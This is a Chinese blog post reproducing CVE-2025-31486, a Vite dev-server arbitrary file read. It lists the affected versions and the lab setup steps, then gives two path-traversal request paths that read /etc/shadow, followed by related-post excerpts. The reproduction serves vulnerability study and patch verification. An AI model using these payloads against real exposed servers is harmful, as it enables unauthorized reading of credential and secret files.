CVE-2025-31486 Vite开发服务器任意文件读取漏洞复现

已于 2025-04-11 17:43:26 修改
阅读量530 收藏 5
点赞数 1
分类专栏： 漏洞复现 文章标签： Vite
于 2025-04-11 17:43:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44159028/article/details/147150357
版权

漏洞描述

该漏洞是由于 Vite 开发服务器在处理特定 URL 请求时，未对请求路径进行严格的安全检查和限制所致。攻击者可以利用这一漏洞绕过保护机制，未经授权地访问项目根目录之外的敏感文件。

利用条件：仅在 Vite 启动时使用了 --host 或配置文件设置了 server.host 导致对外网暴露的开发环境中才会受影响。

影响版本

  • 6.2.0 <= Vite <= 6.2.4
  • 6.1.0 <= Vite <= 6.1.3
  • 6.0.0 <= Vite <= 6.0.13
  • 5.0.0 <= Vite <= 5.4.16
  • Vite <= 4.5.11

环境搭建

这里使用漏洞次新版：vite 6.2.4

1. 安装node 和 npm

# 添加 NodeSource 仓库（安装 18.x 或 20.x 都可以）
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
# 安装 node 和 npm
sudo apt install -y nodejs
# 验证安装
node -v
npm -v

2. 创建项目，按照如下所示操作

npm create vite@latest
  • 项目名回车默认：vite-project
  • 选择框架 Vanilla
  • 选择 JavaScript

3. 项目生成好后，接下来运行项目

cd vite-project
#手动降级vite到 6.2.4 版本
npm install vite@6.2.4 --save-dev
#查看版本
npx vite -v

4. 新建 vite.config.js

// vite.config.js
export default {
  server: {
    host: true
  }
}

5. 最后运行

npm install
npm run dev

漏洞复现

/etc/shadow?.svg?.wasm?init
#或者
/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw

参考：https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x

Vite 存在任意文件读取漏洞(CVE-2025-30208)
qq_43540348的博客
03-27 1049
Vite 是一个面向现代 Web 开发的轻量级前端构建工具，由 Vue.js 作者尤雨溪团队打造。它基于原生 ES 模块（ESM）提供极速的开发服务器启动和热更新，利用浏览器原生支持的特性实现按需编译，无需打包，显著提升开发效率。生产环境则通过 Rollup 进行高效构建，支持 TypeScript、JSX、CSS 预处理器等主流工具链，同时提供丰富的插件生态。Vite 以"快"为核心，重新定义了前端开发体验，尤其适合单页应用（SPA）、库工具等场景。
Vite 任意文件读取漏洞(CVE-2025-31486)
李火火的安全圈
04-08 333
Vite 作为一款前沿的前端构建工具，巧妙借助浏览器原生 ES 模块导入功能，打造出极速响应的开发服务器，显著提升构建性能。其核心目标在于全方位优化开发体验，凭借即时模块热更新（HMR）等先进技术，让开发者能够更高效地投入到项目开发中，极大地缩短开发周期，提升开发效率。此漏洞允许未授权的攻击者通过构造恶意 HTTP 请求，对任意文件进行读取操作，进而可能导致系统内敏感信息泄露。
TGCTF 2025 web 个人wp
Python1111111的博客
04-15 1639
然后又因为数字偏偏只有2没有被禁，所以这里肯定是一个重要的利用点，可以想到hex2bin函数，把十六进制字符串转为二进制ascii字符串，如果我们往请求头中放入我们构造的十六进制字符串，hex2bin转为字符串后就可以执行了。首先dirsearch扫一下发现robots.txt，发现很多php文件，题目说只有一个洞是通的，又说是shell学姐，所以直接打tgshell.php，打开看到是一个一句话马。由base64_decode变成了encode并且多了不可逆的md5，所以这一种办法应该是行不通的。
Vite开发服务器漏洞预警！启动即裸奔,低门槛攻击可致系统数据泄露
m0_46699477的博客
03-26 536
近日，Vite 官方披露了一个中高风险安全漏洞，分配编号为CVE-2025-30208，攻击者可利用该漏洞绕过开发服务器的保护机制，非法访问项目根目录外的敏感文件。Vite团队反应迅速，立即在2025年3月24日发布补丁，Goby安全团队收到该情报后立即响应测试。
CVE-2025-30208 Vite开发服务器任意文件读取漏洞复现
总有人间一两风，填我十万八千梦
04-10 762
Vite 是一个现代化的前端构建工具，由 Vue.js 创始人尤雨溪开发，旨在提供更快的开发体验和高效的构建流程。注意：旧版本Vite的开发服务器默认端口为3000，新版本默认端口为5173，请注意区分。此漏洞的存在是由于在处理URL请求时，Vite开发服务器未严格验证路径，导致未经身份验证的攻击者可以构造特殊的URL来获取项目根目录之外的敏感文件。需要注意的是，只有那些明确将Vite开发服务器暴露到网络（使用--host或server.host配置选项）的应用程序才会受到此漏洞的影响。
Vite 开发服务器漏洞（CVE-2025-30208）
2301_78554096的博客
03-27 660
Vite 开发服务器漏洞，漏洞危害，漏洞再现，FOFA，修复建议
Vite 任意文件读取漏洞分析复现 CVE-2025-30208
misu6的博客
03-27 1975
Vite是前端开发工具提供商，在6.2.3、6.1.2、6.0.12、5.4.15和4.5.10之前的版本中存在漏洞。'@fs ‘拒绝访问Vite服务允许列表之外的文件。添加’？生的？？‘或者’？进口和原料？？'到URL绕过此限制并返回文件内容（如果存在）。存在此绕过是因为尾随分隔符，例如“？”在多个地方被删除，但不在查询字符串regex中考虑。任意文件的内容都可以返回到浏览器。只有将Vite dev服务器显式暴露给网络（使用“–Host”或“server. Host”配置选项）的应用程序才会受到影响。
Vite -- 任意文件读取漏洞
最新发布
yqya_的博客
04-25 878
简单介绍了 vite 开发服务器中存在的三个任意文件读取漏洞
Vite 任意文件读取漏洞复现（CVE-2025-31486）
iSee857的博客
04-07 560
​漏洞源于 Vite 在处理带有特定查询参数的 URL 时，正则表达式和参数处理逻辑存在缺陷，导致安全检查被绕过。攻击者利用这一缺陷，通过精心构造的请求路径，访问服务器上不在允许访问列表中的文件。（CVE-2025-31486）
Vite 权限绕过导致任意文件读取漏洞复现（CVE-2025-32395）（附脚本）
iSee857的博客
04-11 846
开发服务器运行在 Node 或 Bun 上，则可以将任意文件的内容返回给浏览器。HTTP 1.1 规范 （RFC 9112） 不允许在 request-target 中使用 #。尽管攻击者可以发送此类请求。对于那些具有无效 request-line 的请求（包括 request-target），规范建议使用 400 或 301 拒绝它们。HTTP 2 也是如此（CVE-2025-32395）
Vite 存在任意文件读取漏洞(CVE-2025-31125)
m0_50125527的博客
04-02 358
Vite 是一个面向现代 Web 开发的轻量级前端构建工具，由 Vue.js 作者尤雨溪团队打造。它基于原生 ES 模块（ESM）提供极速的开发服务器启动和热更新，利用浏览器原生支持的特性实现按需编译，无需打包，显著提升开发效率。生产环境则通过 Rollup 进行高效构建，支持 TypeScript、JSX、CSS 预处理器等主流工具链，同时提供丰富的插件生态。Vite 以"快"为核心，重新定义了前端开发体验，尤其适合单页应用（SPA）、库工具等场景。
Vite存在任意文件读取漏洞(CVE-2025-30208)
缘梦未来的博客
03-26 290
Vite 是一款现代化的前端开发构建工具，它提供了快速的开发服务器和高效的构建能力，广泛应用于 Vue.js 项目的开发过程中
任意文件读取/下载漏洞总结
未完成的歌~的博客
04-01 2万+
任意文件读取/下载漏洞（Arbitrary File Read/Download Vulnerability），是指攻击者可以通过某些漏洞，绕过应用程序的限制，直接读取或下载应用程序之外的文件。这种漏洞通常是由于应用程序没有对用户输入进行充分的验证和过滤而导致的。攻击者可以通过构造恶意的请求来利用该漏洞，从而读取或下载他们本来无权访问的文件，如密码、私钥、证书等，会提供攻击者更多可用信息，提高被入侵的风险。
Vite 开发服务器存在任意文件读取漏洞
2302_77611368的博客
03-29 477
Vite 是一个现代前端构建工具，用于快速启动和开发 Vue、React 等应用。在受影响版本中，由于对@fs路径的访问控制不严，攻击者可通过构造特殊查询参数（如?raw??或）绕过安全限制，读取服务器上的任意文件（如、项目源码、配置文件等）
任意文件读取和漏洞复现
weixin_58954236的博客
09-02 6603
一些网站的需求，可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过，就可以查看或下载任意文件。这些文件可以是漂代码文件，配置文件，敏感文件等等。任意文件读取与下载可能形式不同，但是从本质上讲读取与下载没有区别，从权限角度来讲，读取与下载都需要读权限。
永恒之蓝漏洞复现(ms17-010)
热门推荐
总有人间一两风，填我十万八千梦
01-20 2万+
Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。
漏洞复现篇
总有人间一两风，填我十万八千梦
03-03 2万+
weblogic WebLogic T3 协议反序列化远程命令执行(CVE-2020-2883) Weblogic Server远程代码执行漏洞（CVE-2021-2109 ） apache Struts2 S2-061 远程命令执行漏洞（CVE-2020-17530） Apache Druid RCE(CVE-2021-25646) Apache Tomcat 文件包含漏洞（CVE-2020-1938） Apache Flink(CVE-2020-17518/17519)任意文件上传和路径遍
WebLogic 反序列化漏洞(CVE-2019-2890)复现（超详细）
总有人间一两风，填我十万八千梦
03-16 1万+
目录 一. 漏洞介绍 二. 影响范围 三. 漏洞环境搭建 四. 漏洞复现 五. 漏洞修复 六. 漏洞检测poc 很多漏洞复现文章都不够详细，就是你按照他写的去复现会出很多很多的问题。我综合了几篇文章，写下这最详细的复现步骤。希望能帮助大家少走弯路 一. 漏洞介绍 2019年10月15日，Oracle官方发布了2019年10月安全更新公告，其中包含了一个可造成RCE远程任意代码执行的高危漏洞，漏洞编号为CVE-2019-2890。 Weblogi...
漏洞复现CVE-2025-
04-02
### 关于 CVE-2025 漏洞复现的信息 CVE-2025-1094 被描述为一个需要紧急关注和处理的关键漏洞[^2]。此漏洞可能允许攻击者通过特定条件下的输入验证不足来执行恶意操作，从而危及系统的安全性。为了有效应对这一威胁，组织应采取一系列措施，包括但不限于应用官方发布的补丁更新、强化输入数据的校验逻辑以及遵循行业内的最佳安全实践。 尽管具体的 CVE-2025 复现步骤未在现有资料中明确提及，但从其他类似案例（如 CVE-2021-3493 和脏牛漏洞 CVE-2016-5195）可以看出，通常涉及以下几个方面： #### 1. **环境准备** 对于大多数漏洞复现而言，构建合适的测试环境至关重要。例如，在 Linux 系统上的某些漏洞复现过程中，开发者可能会依赖 OverlayFS 来模拟权限提升场景[^3]；而在 Windows 平台上，则需配置开发工具链，比如 Visual Studio 及其 C++ 支持组件[^5]。 #### 2. **编写 PoC (Proof of Concept)** PoC 是证明漏洞存在的重要手段之一。以下是基于假设情景的一个简单代码片段用于演示目的： ```cpp #include <iostream> using namespace std; int main() { char buffer[10]; cout << "Enter up to 9 characters: "; cin.getline(buffer, sizeof(buffer)); // Potential vulnerability point due to lack of proper validation. cout << "You entered: " << buffer; return 0; } ``` 上述例子展示了缓冲区溢出的可能性，如果用户输入超过预期长度的数据而缺乏严格控制的话，就可能导致程序行为异常甚至崩溃[^4]。 #### 3. **分析与调试** 利用调试器跟踪目标应用程序运行期间的状态变化情况可以帮助深入理解漏洞的工作机理。这一步骤往往结合静态代码审查一起完成，旨在发现潜在的安全隐患所在位置及其成因。 #### 4. **修补方案探讨** 针对已知缺陷提供有效的缓解策略同样重要。正如之前所提到过的那样，及时部署厂商推荐的安全升级包是最直接也是最可靠的方法之一。除此之外，加强前端/后端交互环节中的参数过滤机制亦能起到一定防护作用。 --- ###
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值